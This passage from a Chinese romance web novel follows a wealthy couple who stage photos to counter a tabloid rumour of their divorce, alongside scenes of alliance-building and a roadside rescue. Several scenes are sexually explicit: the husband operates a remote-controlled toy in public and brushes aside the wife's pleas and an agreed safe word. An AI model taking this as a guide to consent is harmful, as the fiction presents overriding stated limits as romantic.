“但是她出现在我面前了。”林稚水听出他话里轻描淡写的否决,表面上,却依旧情绪稳定地说:“裴观若八面玲珑又知进退,还有意为我所用,商羽,我想试一试她。” 看宁商羽没应这话,脚步漫不经心地往衣帽间走,而不是浴室或者是主卧,林稚水眼眸亮了亮,觉得这是同意换身低调的扮相跟她出门意思了,于是,又语气软软的:“小时候我体质弱,无法正常结交到很多朋友,只能看看海洋生物书籍养养珊瑚,从万露的裁缝店里挑一些绸缎学着做小睡裙玩……” 她孤单又无趣,就是把自己当洋娃娃打扮着玩了。 下一秒,林稚水继续软言软语说:“我想多交一点朋友。” 从婚前初识开始,宁商羽对她的监护态度并没有限制很深,偶尔也会格外开恩的派弟弟带她出去玩,如今听到要多交朋友,倒是意味深长的笑了:“多点十个男模朋友么?” “那是宁濯羽点的。”林稚水理直气壮地供出主谋,随即,愈发低着脑袋,乌黑发丝也垂直落在了他胸口:“那晚我在谁掌心上……你应该最清楚不过的吧?” 她要是在外已经玩过男模了,身体怎么能欺骗的不了宁商羽这位手段高明的启蒙老师呢? 林稚水想通这点就变得底气很足,又微微翘起唇角,声音透着故作的体贴地问:“要我帮你挑一套低调点的衣服吗?我发现男模都爱穿半透材质的……” 宁商羽说:“不急。” 林稚水白净的眉心蹙了起来,正开口想问哪里不急了,下一刻,却猝不及防地被宁商羽强而有力的手臂放在了衣帽间的中间岛台上。 懵了两秒。 紧接着听到宁商羽嗓音在随着打开整洁抽屉,低低沉沉的溢出喉咙,显得极其慢条斯理:“不是没被喂饱么?” 他在那片逐渐淡化的金色夕阳光影下,筋骨分明而精致的长指取出小玩具,一动一静都是赏心悦目的。 林稚水眼尾情不自禁地盯住,即便是有过佩戴玉器的经验,当看到摁下能远程自动调节的遥控器,就会震颤的……那种小玩具。 她还是惊得作不出反应,脸上一片空白。 “总不能让你一直这样饿着。” 半响,宁商羽理性到更显危险的嗓音落下。 这些精妙绝伦的可爱小动物造型玩具,也不知宁商羽是何时不动声色给备下的,满满一抽屉存放整齐,就在他狮子胸针隔壁,林稚水在衣帽间晃来晃去的,都没发现过。 她睁大的眼眸迷茫了一瞬,随后,便当面目睹着他漫不经心挑选了个晶莹剔透蝴蝶形状的,底部是像冰川蓝质地的贝壳设计。 而他犹如装饰珍贵艺术品一样,很恰到好处地,把蝴蝶缓缓地…… 林稚水慌乱到近乎难以呼吸,下意识碰到了宁商羽毫无瑕疵的完美额头,唇去轻抿了下,闻到他的体温以及混杂着清冽的冷杉气味。 这个过程不漫长,宁商羽语调比刚才更低沉:“还饿吗?” 小蝴蝶沾染上他指腹的热意,很清晰,都烧到骨髓里一路弥漫进了肚子里,林稚水恍然惊醒,不自觉调整着在岛台上的紧张坐姿,也不是很习惯这种近乎……失控的感觉。 她开始颤音求着宁商羽千万别开遥控器的档次,手指又很不诚实地去握住他修长的腕骨,想让他代替。 林稚水最喜欢小老公了。 其次就是宁商羽充满安全感的手掌,他这具高大强健的年轻身躯,每一部分单独拆出来,都是她极为欣赏的,想食用的。 “乖乖吃好。”宁商羽极好听的笑跟低频率的美妙声响倏然重叠,都映在了她清澈见底的眼眸里。 落日西沉。 林稚水亲手打扮好了宁商羽这个男模完美形象,终于跟他一起出门,待坐上高级宽敞的车厢后,秘书已经自动把黑色隔板升起,安静地隔绝出了两个世界。 她也换了衣服的,穿的是上报纸头版那身衣裙,绸缎白的质地,将腰身勾勒得极细,下摆柔软地垂坠在脚踝边。 也不是全白,借着亮如白昼的灯光仔细瞧,会发现那裹着后腰处的料子上有绝妙的用银丝刺绣着一抹宛若漂浮水面的睡莲。 偶尔,随着林稚水竭尽全力地维持端庄的一面,却忍不住打个颤,那睡莲仿佛也会跟着有了颤意。 几秒后,她非常幽怨地看向了姿态气定神闲的宁商羽。 似乎是品出了那双琉璃眼的羞怒情绪,宁商羽把玩着薄薄的小遥控,长指要划过那调节按键时,又引得她胸口压抑的心跳愈发怦怦的加快起来,还未出声制止,他停下了,嗓音却缓慢道:“容伽礼的太太经纪团队正好也在泗城……” 林稚水一听到正事,注意力瞬间被转移,想了想,把要恶狠狠控诉他的话咽了回去,改口道:“唔,他太太是不是那个演技超级好拿了很多奖项的影后路汐?” “嗯。” “她的团队愿意借我用用吗?”毕竟能为影后这种级别咖位服务的经纪团队,一想便知绝对专业,平时定然没少跟娱媒打交道,对控制绯闻舆论方面更是不在话下了。 林稚水听了很是心动,想跟路汐借人。 宁商羽说:“你跟她会有一场合作,她会借的。” “商羽,你是不是对我有很深的家属滤镜?”林稚水睁着一双无辜又带着怜悯感的眼睛,声音很坦荡的说:“我没有演技的。” 她主修海洋系的学业领域跟拥有演艺事业的路汐完全不对口,能有什么合作?何况她对当演员没兴趣,也不热爱。 宁商羽不会是在内涵她真情实感的爱意,是演的吧??! 林稚水思及此,怅然若失地叹口气:“我就是单纯的想澄清被造谣婚变的绯闻而已,顺带放个鱼饵,试下裴观若……仅此而已。” 怎料,宁商羽没有男模职业道德,竟然给她戴小蝴蝶才愿意陪同出门。 宁商羽正好整以暇看她仿佛受到巨大的冲击,睫毛微微颤抖,反倒是被取悦到,说:“等路汐的新戏杀青联系上你,她会告诉你。” “你不能告诉我吗?”林稚水没耐心等,侧一点身,那裙摆晃过他的西装裤,怎料还没伸手,彼此间就被手机铃声给打断。 是路汐的经纪人致电来了。 办正事要紧,林稚水忍着心口泛起一阵细密的痒,又慢慢的坐回去。 路汐的经纪人叫陈风意,是个有很重偶像包袱,对自身形象精致到了媲美男明星的优雅年轻男人。 在电话里已经沟通过了情况,等见面时,林稚水还坐在车厢内,便看到了他一袭白色亮片刺绣西装熠熠生辉地出现在视野内。 陈风意肩负着任务而来,非常专业地让她和另一位位高权重的大佬都别下车,先用小狗仔的偷拍视角迅速咔嚓了几张。 林稚水表面上如水平静,其实恨不得整晚坐着不动,毕竟佩戴着微微震颤感的小蝴蝶,高跟鞋踩在地上,都得用几分力气,容易膝盖软。 等拍完。 陈风意才一步两步的跑过来,嘴上的话密到从不落下:“林小姐,我们接下来先去你被拍的那家会所,再补几张照片。” 林稚水慢慢点头。 陈风意又说:“收拾小狗仔我有的是力气和手段,造谣你的那家娱媒在圈内是出了名的无耻,只要销量一降低,他家就爱点兵点将,点到娱乐圈哪位顶流,就毫无底线的捏造一点绯闻出来,我家汐汐啊,也险些遭遇过。” 林稚水眨了眨睫毛,心想,那现在是娱乐圈没顶流点了? 所以那家无耻的娱媒……开始往豪门圈点将吗? 对于她眼里透露的困惑,陈风意解释道:“那晚也有影帝现身在会所,可能是没拍到什么绯闻素材,恰好顺手把你拍了。” 很快他继续说:“放心,我调查过了,小狗仔手头上没有你在包厢内跟男模待在一起的照片,只要放出你穿着那晚的衣服跟宁总现身会所,我们混搅下时间差,就能自证婚变传闻……” 林稚水露出笑容,也是打算把宁商羽这样当男模用的。 随即,陈风意请她下车。 林稚水反而犹豫了几秒,“小陈先生,你能不能……先行一步,跟我距离至少保持个十步远。” 陈风意怔住,下意识地嗅了下自己衣领,以为是那股龙香草前调的男士高级香水喷多了,都已经浓郁得隔着空气熏到了端坐在光线偏暗车内的这位宁太太。 林稚水眼尾红痣衬着一身雪白,故而小小声说:“宁商羽有洁癖,无法接受跟陌生关系的人呼吸着一片空气。” 陈风意神色震惊:“这洁癖,也太太太严重了吧。” 话落半秒,他问出了个直逼灵魂的话:“你跟宁总不是商业联姻吗?” “是呀,联姻接触前我都是带氧气面罩跟他培养感情的……”林稚水语气轻悠悠,还没乱讲完,腰肢陡然一震,瞬间就抿着舌尖不吭声了。 她身侧压迫感极强的那位,正漫不经心地调高了一档。 林稚水正襟危坐着,始终在忍耐,尽量忽略那股微微电流钻进肌肤的感觉。 陈风意不知真实原因,也没静听车内动静,又许是林稚水这张皮囊太具有欺骗性,他非常自然地接受了宁商羽这种难以理解的重度洁癖。 可能是高高在上独自站在权力顶峰太久了,开始对凡人的呼吸过敏吧。 虽不能理解,但是选择尊重……陈风意迅速撤离,犹如一抹银河的星星划过逐渐暗下的夜空似的,尽量地自己独享一片新鲜空气。 等人走了。 林稚水眼眶憋的湿红,半秒钟都等不了的扑到了宁商羽怀里,手指想去抢夺那远程遥控器,“低一档低一档……” 那睡莲在精美刺绣水面上已经悄然绽放,透露出了晶莹水珠儿。 宁商羽哪是那么轻易被她得手的,反而用手臂把人给搂着,以亲密的姿势说:“你把人支走,又听不到,高一档不是喂得更饱嗯?” 林稚水眉间蹙着,气儿不自觉地吸了会:“会流出来的。” 她什么娇气体质,别人不知,难道宁商羽还不清楚么? 故意调高,分明就是在戏弄人! 谁家男模是他这种擅作主张的霸道德行?林稚水心里质疑的同时,随即,手指自救似的,往宁商羽微透到犹如蒙着黑纱的衬衫摸索,快速找到那根细链子,扯了一下,又叫他:“商羽……” 这是两人之前在结婚协议里设定好的“安全词。” 奈何没有职业道德的宁商羽又开始遵守游戏规则起来,带着戏谑的语调反问她:“我现在不是你男模么?” 言外之意,安全词只有在是合法夫妻关系上有效。 “你这个男模……”林稚水指尖用力,细链绷紧,把他两粒红珠拉扯得有微微的刺感,“太不听话了,我决定晚上好好教育下你!” 而当下,不能让陈风意久等。 林稚水只能忍受着第二档次的冲击力,调整好若无其事的平静状态下车。 而下秒,宁商羽也紧随其后,在格外净透无尘的深蓝夜幕下,缓缓现身露出了男模的神秘扮相。 陈风意的镜头险些都不会移开了,这简直跟半透视露若隐若现胸肌有什么区别,而且搭配上宁商羽那张过分瞩目的俊美锋利面容,周身几乎蓬勃成一种荷尔蒙四溢的欲色。 难怪坊间传闻: 宁商羽有绝对傲慢的资本。 走到哪里都是万众瞩目的中心,被这股摄人心魂魅力吸引而来,想要主动投怀送抱的无论男女从不在少数! 要不是林稚水事先说了,宁商羽洁癖到对“空气”的新鲜特质十分敏感,陈风意都想近距离的观赏下。 那家娱媒如今主编是脑子被炮打残了吧! 捏造林稚水婚变绯闻的时候,也不提前做个背调功课……就她新婚老公这个以一敌一百个男模的顶级魅魔样貌,她还需要到外面偷吃??? 陈风意无比震撼到的同时,手上动作也没停,抓住千载难逢的唯一机会,咔嚓咔嚓的疯狂抓拍起来。 …… 按流程走,到会所顶楼那所包厢拍完就可以大功告成了。 陈风意一直谨记不能跟宁商羽呼吸到同片空气,所以在门外学小狗仔的姿势鬼鬼祟祟拍完,便非常自觉地告退。 “林小姐,我今晚就把照片给你。” 话音随着远走的脚步声落地,林稚水都没机会回应,不过她愈发紧绷的身子终于松懈了下来,下一秒,直接朝沙发软绵绵倒了下去,波光潋滟的眼尾无声淌下生理性的泪珠子。 唯有那腰后的睡莲有了生机似的,颤得在水面掀起涟漪的金浪。 而这一切罪魁祸首宁商羽,指腹把她眼尾揉干净,不动神色问:“再给你调到最高档,喂饱一点,嗯?” 这哪里是商量的语气,分明是下达通知! “不准!” 林稚水莫名感觉很热,那金浪的水波好似淌在了她眼中,却丝毫没有熄灭这股热量,手柔软搭到宁商羽的肩膀上,低低地说:“先拿出来好不好,让我歇一会……不然我这条小命就会撑死掉的!” 宁商羽沉吟片刻:“歇多久?” “一个小时!”林稚水见有希望,语气又愈发软和起来:“一个月之后,你先别再打那个新药剂了,我怎么感觉,你用了药,我更遭罪……” 宁商羽想喂饱她的五花八门方式太多了,还附带辅助工具,实在是很不公平。 林稚水指尖触及到他心脏位置,感觉彼此跳动的节奏感都是一样的,唇齿间重复地求着。 也分不清。 是求一个小时的放松时间。 还是求别的。 而宁商羽居高临下的视线在她红透的颈侧处停留许久,又落在睡莲上,“十分钟。” 林稚水汗涔涔的求个半天,还在宁商羽线条漂亮的肌肉上划来划去的,偶尔拽下摇晃的链条,结果一听才被宽限十分钟,压根无法唤醒他的理性行为,于是瞪住了他:“这么短的时间哪里够,我宁可不要了!” 见她这么有骨气,宁商羽慢条斯理地整理着被扯乱的衬衫,又当面,拿出遥控器,远程操控,调高了档次…… 林稚水摇摇欲坠的魂魄直接散了。 恍惚间,通红耳朵只能分辨出宁商羽半命令的低沉嗓音,在这间前不久召唤过男模的包厢里,占有欲很强地提醒她: “下次再敢召那些劣质的野男模玩,等着被我——” 艹死。 不知过去多久。 直到手机震了数下,林稚水才猛地从近乎来势汹汹到晕眩过去的意识里惊醒,那股一直絮绕在身上的低频率嗡嗡声没了,但是膝盖湿乎乎的,能清晰察觉到小蝴蝶还没取下,应该只是被暂停。 林稚水极轻吸了口气,然后转向脑袋,先下意识看向室内那位置身事外似的,站沉默着在落地窗那边观赏繁华夜景的宁商羽高大挺拔背影之后。 半响,她才慢半拍从沙发坐起来,伸手去拿旁边的手机。 还以为是陈风意办事效率级高的发来照片了。 然而,低垂的眼睫下扫完新消息,却没想到是裴观若来约她今晚出来面谈一下回应娱媒的策略方案。 微微发红的指尖停顿在了干净屏幕上方好几秒,林稚水心知此刻去不了,她现在就犹如洒满雪花的水晶球里那个嵌着发条的—— 洋娃娃。 洋娃娃的精致裙摆已经被慢慢融化的雪花给彻底洇湿了,可是蝴蝶发条还没被取下。 钥匙就在宁商羽那双掌控一切的手上,只要他想,随时都能让发条重新转动起来。 她蹙起眉,还未编辑好文字去拒绝裴观若的主动邀约,宁商羽已经听到她坐起身的动静,缓步走了过来,他低下头,幽静无波澜的视线扫过亮起的手机屏幕,语调也显得平淡问:“不是要试一下她,怎么不答应。” 林稚水发现今晚控诉他不遵守男模道德的行为是没用的,何况,她也不想带穿着半透视这种魅惑衬衫西装扮相的宁商羽去见裴观若。 于是说:“不想带你去。” 敷衍的借口都懒得找,非常理直气壮。 “我在车里等你。”宁商羽指腹,揉了下她轮廓极美丽的面颊,肌肤柔软又脆弱到了随便一碰都要被体温融化,继而倏然撤离,他将先前搁在茶几的小型遥控器堂而皇之在她眼皮子底下放在西装裤袋里,用半命令的口吻说道:“戴着,我要随时观察你的心跳次数。” 林稚水唇微微张着:“心跳次数?” 与此同时,她胸口的心率都跟着提升起来,暗暗祈祷着,千万别告诉她……这个小蝴蝶是他独家私人订制的新科技,还能同时观测身体全方面的数据?! 显而易见,这个新科技有不少意想不到的巧妙作用,就是她当下回味过来的那样。 宁商羽微微勾了嘴角,“你好敏感啊,小坏水。” 第53章 宁商羽离开了包厢。林稚水身子还侧卧在深棕色的弧形沙发里,银丝刺绣的睡莲裙下那雪白膝盖交叠着,安安静静地感知着蝴蝶翅膀振动的频率。 直到另一阵嗡鸣传来,是摆放在茶几上的手机响起了。 林稚水了然是裴观若收到她给的定位地址后,已经快速寻到会所。 她右手拿过来,把置身在顶楼的包厢号发送过去,随即,便起身离开沙发,算准着时间差,非常阳奉阴违地去卫生间把在身上被绵绵细雨打湿掉的小蝴蝶给拿掉了。 林稚水学以致用,也玩起单方面屏蔽掉这副身体产生了欲和髙潮后,宁商羽能靠新科技完全掌控着她全方面的真实反应数据。 哪能处处让他占上风! 林稚水洗干净手指出来,没多久,外面走廊传来脚步声。 是裴观若坐电梯上来了,抬指,极轻的敲了敲,在听到一声请进后,便推开了面前这扇华美的香槟色包厢门。 她一眼便看到林稚水坐在沙发那里,周围除了璀璨繁华的夜景连成一片瑰丽星河倒映进玻璃窗外,仅开着盏落地灯,比月光更柔的光辉浸在她侧颜,整个人依然是一副平静又悲悯的姿态。 倏然间。裴观若心绪微妙地跟着沉浮上来,知道林稚水像什么了……像一尊玉塑的菩萨雕像,底色是美到惊心动魄的纯白,却不言不语,犹如正在俯视着俗世间浓稠的七情六欲。 裴观若想,她召男模,无非就是稳坐高台俯视一下世人的情欲罢了。 “裴小姐。”林稚水眼睫抬起,见停驻在原地的裴观若静静盯着自己看,便先开口说:“请坐。” 裴观若回过神,顺着她的话,沿着大理石茶几边缘绕近到了沙发坐下。 她没有再耽误今晚的时间,将手机新拍摄的一段视频翻出递过去,柔声说:“我跟这家娱媒的老板友好谈过了,关于登报的婚变绯闻,他会亲自召开媒体界的记者会澄清一切都是凭空捏造的事。” 林稚水眼尾余光瞥见视频画面的“友好”,微微笑了:“这人能在娱乐圈横行霸道多年,想必是有靠山依仗,裴小姐这么短时间就能以德服人,把事端摆平,没少下功夫吧?” 裴观若关掉手机,一派温柔从容地回应:“他有他的依仗,却不敌我所依仗的。” 话声,略顿半秒,在对视上林稚水那双清透到无情绪的眼眸,裴观若心知在她称呼自己为裴小姐时,两人的关系就微妙地发生转变,不似先前平等,“我所依仗的,无非是宁太太的势。” 半响,林稚水纤细的手指抚过玻璃茶壶,斟了半杯,递过来时,问:“你所求什么?” 裴观若刚抬起手腕,去接茶。 林稚水慢悠悠地说:“你若求权,便献祭出真心,若是求人……裴小姐,我奉劝你最好别生出什么觊觎之心来。” 她的世界观里,爱上了宁商羽,就等于是宁商羽只能属于她。 “我对宁总绝对没有觊觎心思。” 裴观若始终异常冷静,手指尖更是毫不犹豫地敢于接过这盏茶。 “所以呢?”林稚水再度绕回一开始的问题,重复问:“你所求什么?” 她轻轻说话,犹如美丽流光的柔软绸缎包裹着刀刃,彻底地划开了她的心防,裴观若停了半秒,继而,白净的食指沿着茶杯内沾了沾,在茶几一尘不染的大理石上写了两个字:自由。 林稚水眼尾垂落的视线,定住在了透着水迹的剔透字面上。 自由。 比起任何为了献出忠心的恳切肺腑之言,更能在一瞬间让林稚水的内心被触动到,几乎是寂静地盯了几秒,她重新抬起,冷不防地问:“你没有婚约,没有性伴侣,却早在那次画廊现身在我面前的前一段时间里,私下到万露的裁缝店购买了不少情趣玩具和闺中秘术教程,你学这些,有什么用途?” “陪人用的。”裴观若知道编造出太虚伪的谎言只会引来林稚水生理性的厌恶,她的瞳孔纯粹到就像是照妖镜,能把一切爱恨欲念照得无处遁形。 所以跟她打交道,必须是一丁点儿的友善谎言里掺和着大半真心:“我和母亲陈宝翠被裴家禁锢住了自由,她为了生存只能替裴胤博取利益亲身陪了不少纵横商海的男人,如今她年老色衰,轮到我来了。” 林稚水心里猜到是这种用途,却是以为裴观若是处心积虑地谋划着想往宁商羽身上用,才会屡次地对她起疑心。 毕竟裴观若很多行为,都处处令人费解。 安静片刻,林稚水白皙指尖在沙发的扶手上慢悠悠的画圈,像是思考着什么,又问起:“画廊的偶遇也是你安排的吗?” 她那副落日珊瑚画作,显然是早有预谋的证据,骗不了人。 裴观若唇吐出:“是。” “谁暗中助了你?”林稚水脑海中的思绪随着指尖动作转悠了圈,继而,轻声点出一个人的名字:“宁濯羽。” 裴观若垂着眼,摇了摇头:“不是他。” 林稚水半晌不语。 她没有继续问下去,从裴观若一开始就没透露出对方名字,便推断出,那位暗中相助她借画廊接近自己的幕后人,多半是不能说。 裴观若为了自由,不可能孤注一掷地把希望倾注在她一人身上。 极有可能,这张交易桌上还有人。 “稚水。”裴观若见她开始微垂侧脸平静地喝茶,心知被审问的这一关是过了,现在轮到自己主动献出能让她心动的筹码,才能换取到宁氏赠予的依仗。 继而,裴观若柔声却坚决道:“你从港区嫁到泗城,对这边的豪门圈子一无所知,我的画廊可以成为你最忠诚的眼线,就像万露的店那样,她暗地里为权贵所用,才能屹立不倒多年,手中几乎掌控了整个港区贵妇圈的消息人脉……我的画廊也可以,却仅供你一人所驱使。” 豪门世家之间的阴谋斗争永不落幕,充满各种利益算计,彼此间的内幕消息来源也各显其能,而最忌讳就是被屏蔽在外,不然就说明这个家族要被重新洗牌了。 林稚水是授学关于海洋文化知识的,她从林家涉足到外面色彩斑斓的世界,一直觉得外面本身即是巨大的鱼缸,所有人都是权欲浪潮里的一尾尾鱼。 她现在的确需要一位心思八面玲珑的人,代替自己隔着玻璃注视着这些小鱼动向。 否则的话,只会永远都处于非常被动的无知境地里,就如同老宅那边可以秘密研发出新药,在严格封闭消息时,然后堂而皇之地把她这位当家主母也一起防了。 这也让林稚水后知后觉地意识到,自己虽有名正言顺的宁太太头衔傍身,却在宁家,是被德高望重的宁徽诏无形的给架空了。 诚然,宁商羽是纵容她的,却不会赋予她一点点的爱。 林稚水在心底权衡利弊地思考了许久,而裴观若就这么静静的等待着,最后,听到她轻声说:“你的交易桌上最好不要有我的敌人。” 她可以允许裴观若为了自由。 跟任何人合作。 只因哪怕裴观若为自己所用,林稚水还是用平等的关系视角去看待对方,那就没有什么易主之论,而她林家曾经遭遇过背叛,自然从心底,也非常痛恨这点。 裴观若被相隔茶几距离的林稚水眼眸直直地凝视,继而,她面色从未改变,温柔的语气充满诚恳地说:“我永远不会背叛你。” …… 被报纸传谣联姻婚变的事,林稚水便全权交给了裴观若来处理,并让她跟先前请来处理当下舆论风波的影后经纪人陈风意联系下。 裴观若这才恍然知晓,原来一早在她主动拨打那通电话时,就已经被林稚水考验了。 而且林稚水在会所包厢厮混男模堆,也只是个乌龙事件,真正点的,是宁濯羽。她又怎么可能闭眼在家担下这个毁人清誉的天降污名。 娱媒的当家人公开澄清声明的记者招待会要开。 把点男模玩,变成男模真实身份是宁商羽,新婚夫妻没有遭遇婚变的恩爱照片也要放。 当晚,林稚水回到家中后,洗个澡就趴在了蓬松柔软的被子里在选照片。 陈风意不愧是跟小狗仔经常打交道的,拍摄了上百张都是角度极为隐秘的,很像是抓拍,氛围感也很足。 林稚水指尖滑动屏幕,选了快一个小时,最终满意的是在四面鎏金的电梯内部那张。 这张照片,不是最清晰的,但是恰好如此,她一身白的妙曼身影恰好犹如点缀般,站在周身黑色的宁商羽身边,把他衬衫半透视和腹肌都隐隐约约挡住了。 而他手臂抬起,筋骨分明的手掌又笼罩在她腰后那朵银丝睡莲处,无声酿出的暧昧气氛,同时又转瞬被一种极盛压迫感的占有姿态给覆盖住了。 林稚水把选出的照片发给裴观若后,指尖慢悠悠地放大了欣赏,倏地,感觉到真实的压迫感,已然逼近。 她怔然地侧过脸,看到宁商羽近在咫尺的那张锋利俊美面容,视线往下掠过,是他丝绒浴袍露出的胸膛,以及,长指间拿着的小鲸鱼玩具。 作为她今晚擅自扔掉小蝴蝶的惩罚。 宁商羽笑了笑,心平气和地要给她睡觉时戴上更刺激好玩的小鲸鱼。 林稚水心里不禁颤了一下,瞬间扔掉手机,不配合地把自己用被子包裹成毛茸茸的团子,睁大眼眶:“你先回答我一个问题!” 宁商羽倒是不心急,气定神闲地站在床边,挑了锋利眉峰:“你问。” 林稚水问就问:“你现在还是我的男模吧?” “嗯。” “天亮之前,是不是都是这个身份?” “嗯。” “那你职业道德在哪里?”林稚水虽然躲在被窝里的行为有点儿丢面子,嘴巴却气焰嚣张,“小小男模还敢忤逆金主大美人?” 宁商羽饶有兴致地将这位“金主大美人”极其缓慢地端详一番,仿佛没见过,很稀奇似的,又笑了:“哦?那我该怎么才不算忤逆。” 狮子不是最擅长舔毛吗? 林稚水雪白的脚尖一寸一寸地探出被子,继而,又去勾他胸膛摇曳的链子,就犹如把猛兽拉到了自己面前:“我要你……服务我。” 她不要什么小蝴蝶小鲸鱼这些动物。 有什么好玩的? 林稚水要拥有理性的大狮子,用滚烫得像是岩浆的温度,标记着她,从额头沿着洁白眉眼到落唇上,犹如兽尾,温柔摩挲着白得毫无杂质肌肤,一路向下延展…… 从头到脚湿漉漉的,连那睡袍的衣领和发丝都得沾上直入心口,有生命力似的浓郁气味。 一连三天。 林稚水都续费着宁商羽这个顶级男模,夜晚也极度享受他狮子舔毛的服务,作为赠予的酬金,白天他出门时,她也会偶尔佩戴一下衣帽间那些新科技的漂亮小动物。 宁商羽哪怕相隔再远的距离,也能在手机上全面起伏的数据分析出她的整日愉快程度。 偶尔,林稚水午睡醒来时,落地窗外的日照洒在她雪白后背上,细碎汗珠闪闪发光,在梦中不自觉就从里到外出了一通汗。 她手指掀起睡袍一角去看,估摸着应该已经有一个小时了。 便起身懒洋洋的去浴室后,把蓝色小鲸鱼也给扔浴缸里泡水玩了,超绝不经意间的损坏一个…… 都怪宁商羽。 他的新科技,下次的防水设计应该更全面点儿。 林稚水用坏了他不止一个,非常心安理得泡完香喷喷的澡后,换了身清爽衣物下来。 刚步入客厅,管家就来报,有位陈风意先生奉命过来谈合作。 林稚水还险些以为是自己听错了,表情透露出许些的讶异。 她真没演技。 不进娱乐圈的!!! 事实上,陈风意能来此是撒泼打滚从路汐面前争取到的机会,他听说,宁商羽被一片天然水生态落羽杉围绕的私人住处堪比造物主的顶级艺术品,就好奇心过旺的想跑来大饱眼福的观景下。 当然,见到林稚水后。 一身品牌堪比男明星奢侈的陈风意没忘记先谈正事,把合同文件递了过去:“本该跟林小姐正式谈合作,是我家汐汐亲自来的,可惜她在剧组脱不开身,实在是歉意。” 表面上理由是极冠冕堂皇,而林稚水也不是揪着这点细枝末节上的人,她先请陈风意吃茶点,才慢悠悠拿起合同看。 一垂眼,先扫到上面最前端写着:【宜林岛生态环境……】 “汐汐在国内有一座蝴蝶自然保护区域的海岛,之前海底意外出现了一群稀有品种的粉色水母,可在今年,专家检测到水母莫名有要灭绝迹象,汐汐怀疑可能是这片海域生态系统出现了问题,她听容总提及林小姐是学海洋专业的,想请你改善一下水质。” 珊瑚是能改善海底生态问题,可是……问题是,林稚水直言:“我没有在大海里养珊瑚的实践经验,也没有专业研究所。” 陈风意十分震惊:“你有啊。” “你和路小姐可能都误会了。”林稚水所学专业考下的证书都没有水分,甚至十三岁时就获得过国际海洋生物领域的奖项,也曾经被知名教授称赞为最有天赋的学生,并且极力推荐进澳大利亚一家研究中心培育珊瑚幼虫项目。 但是盛明璎出面替她以体质弱无法离家的理由拒绝了。 林砚棠生前就爱在家中培育珊瑚又丧命于大海,所以盛明璎对此有很强烈痛苦的抵触情绪,又不得不尊重她自幼什么都不懂,就把海洋书籍当启蒙绘本看,然后逐渐当成专业爱好去学。 林稚水连珊瑚都没那环境养,怎么可能有研究所??? 气氛静默了秒,她虽然梦寐以求拥有,也很清楚不可能……压抑着面上的有点儿失落情绪,选择很坦诚的把这份合同归还给陈风意:“我想可能中间有点误会。” “不能吧。”陈风意说:“我家容总怎么可能有说错话的时候呢?他原话,明明是,你家宁总说了,你拥有一所培育珊瑚的研究所,可以帮汐汐解决燃眉之急。” 这下换林稚水愣怔了,被日光照耀的雪白手腕停在半空:“宁商羽说的?” “是啊,你自己不知道吗?啧啧……你们商业联姻的夫妻关系就是不太稳固,未免也太塑料了吧。”陈风意继而靠在沙发上,还翘起二郎腿,端着经验丰富的态度:“还是得自由恋爱啊!” “……” 陈风意品了会儿茶点,又说:“我能理解你点男模的心情了,换我,面对一个无法接受跟人类呼吸同片空气的超级洁癖老公,也得出去找点藉慰……” 连呼吸都做不到同步,就别说灵魂深处上的感情共鸣了! 林稚水感受到陈风意投来的目光,继而指节用力地按在眉心,心想算了,还是别解释什么了,半响,她把这份合同暂时先收下,说:“我要问问宁商羽,晚点回复路汐。” 陈风意:“懂的懂的。” 林稚水抿唇微笑了下,紧张又忐忑的心里一想到极有可能……拥有一所培育珊瑚的研究所,就无法保持平和,握紧文件的指尖随着呼吸而颤着。 她不敢想象,这一切是真的。 等平平静静的耐着性子送客出门之后,林稚水立刻转身上楼,裙摆浮动得犹如水波,迫不及待地给宁商羽拨打电话。 如果真有培育珊瑚的研究所! 他才不是什么男模了!! 他彻底取代了小老公的绝对权威地位,就是她最最最亲的大老公!!! 第54章 当惊喜得知培育珊瑚礁生态的研究所就在泗城地界后,林稚水一时片刻都等不了,她必须亲眼见到。 于是临时吩咐管家备车。 沉沉的夜幕下,黑色库里南迅速行驶在车流不息的街道上,路程有点偏远,林稚水端坐在后排,暗暗地祈祷着别有拥堵,也清晰地感知着时间的流逝。 直到过许久,车流稀少起来,比镜子还照人的玻璃窗掠过一片树影。 保镖突然道:“前面有辆车翻了。” 林稚水心不在焉地听着,慢半拍反应过来:“车祸?” “应该是树枝断裂惊到了车。”保镖话落,随即又观察到不远处那辆侧翻的车子驾驶座隐约有一抹旗袍人影孤零零地趴在那儿出不来。 于是,便把实情跟林稚水如实汇报了起来。 没有犹豫,林稚水启唇说:“救人。” 保镖听从吩咐下车后,林稚水虽坐着,指尖却慢慢降下了车窗,透过夜色和路灯昏黄的光晕,看到那位陌生旗袍女人很快被解救了出来。 幸而没受到致命的伤,还能颤颤巍巍地走路,随着距离愈近,也愈发看清了,外表上,最严重的莫过于被磕破出了渗血小伤口的额头,血滴,沿着眉心溅到了宝蓝色衣领和胸口,显得到处都是浸染成点点鲜红的。 “姐姐。”她眼圈泛红,仿佛还存留着惊惧与后怕,主动自报家门道:“我叫裴以稀,谢谢你好心救了我。” 裴以稀? 林稚水上下打量她,那个传言中坐拥深城裴家一切继承权的真正嫡系小姐,却生了副胆怯柔弱的性子。 秋季的夜风越来越凉,风卷着棕黄的叶子往她这里刮过,就能倏地惊起她颤意。 半响后,林稚水让瑟瑟发抖的裴以稀先上车,又声音平静地吩咐保镖找个附近的医院。 “姐姐,我会不会耽误你时间了。”裴以稀蜷缩在高级车厢,咬着淡白的唇,杏眼中盈着不谙世事的纯真,到了甚至有些脆弱:“真的对不起,我是偷跑出来玩的,身边才什么保镖司机都没带,没想到……又惹麻烦了。” “你经常惹麻烦吗?” “嗯,我爸爸不希望我在外面闯祸,乖乖待在家里,等到了适婚年龄再给我招个上门老公,这样一辈子都能待在家里了。” 裴以稀仿佛天生就信任人,特别是林稚水这位救命恩人:“姐姐,早知道我就不该乱跑的,外面好可怕啊。” 林稚水轻声安慰她:“会没事的,你身上还有哪里痛吗?” 裴以稀指了下流血的额头,紧接着,略有些昏沉又疲倦地继续蜷缩在一处不吭声了。 林稚水想她估计有点轻微脑震荡,好在这里的地段虽不是繁华市中心,却有家医院离得很近,等到了目的地,她拿出羊绒毯子又轻又软的包裹住裴以稀,说:“下车吧,我带你去看看医生。” 裴以稀犹如晕得很,没骨头似的依附在她搀扶着自己的手上,真白啊,天色越黑,就衬得林稚水圣洁的像是滴水不沾的羊脂玉。 甚至,她的存在,连空气都是清澈的,这或许就是美人自带的气场。 裴以稀全程乖巧懂事跟着走,杏眼频繁望着林稚水那张美丽柔和的脸蛋,充满了依赖般说:“姐姐,你真善良。” 